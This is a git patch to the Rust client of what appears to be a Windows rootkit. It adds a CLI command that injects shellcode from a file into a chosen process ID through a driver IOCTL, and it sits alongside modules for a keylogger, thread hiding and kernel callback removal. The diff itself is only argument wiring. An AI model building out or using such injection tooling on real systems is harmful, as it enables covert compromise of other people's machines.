From 75558980ccbe9709ab6cf1df8c5d8c484d73f660 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jo=C3=A3o?= Date: Fri, 26 Jul 2024 19:47:45 -0300 Subject: [PATCH] Adding cli commands for injection functionality --- client/src/cli.rs | 11 +++++++++++ client/src/main.rs | 7 ++++++- 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/client/src/cli.rs b/client/src/cli.rs index 71224fb..e5356f6 100644 --- a/client/src/cli.rs +++ b/client/src/cli.rs @@ -107,6 +107,17 @@ pub enum Commands { #[arg(long)] restore: Option, }, + + /// Operations related to Injection + Injection { + /// The process ID to injection. + #[arg(long, required = true)] + pid: u32, + + /// Path containing the shellcode + #[arg(long, required = true)] + path: String + } } /// Enum representing the subcommands for process operations. diff --git a/client/src/main.rs b/client/src/main.rs index 611fe5f..01d9684 100644 --- a/client/src/main.rs +++ b/client/src/main.rs @@ -11,7 +11,8 @@ use { signature_process, terminate_process }, thread::{enumerate_thread, hide_unhide_thread}, - callback::{enumerate_callback, remove_callback, restore_callback} + callback::{enumerate_callback, remove_callback, restore_callback}, + injection::injection_thread, }; #[cfg(not(feature = "mapper"))] @@ -22,6 +23,7 @@ mod driver; mod process; mod keylogger; mod thread; +mod injection; mod module; #[cfg(not(feature = "mapper"))] @@ -195,5 +197,8 @@ fn main() { }, } }, + Commands::Injection { pid, path } => { + injection_thread(IOCTL_INJECTION, pid, path); + } } }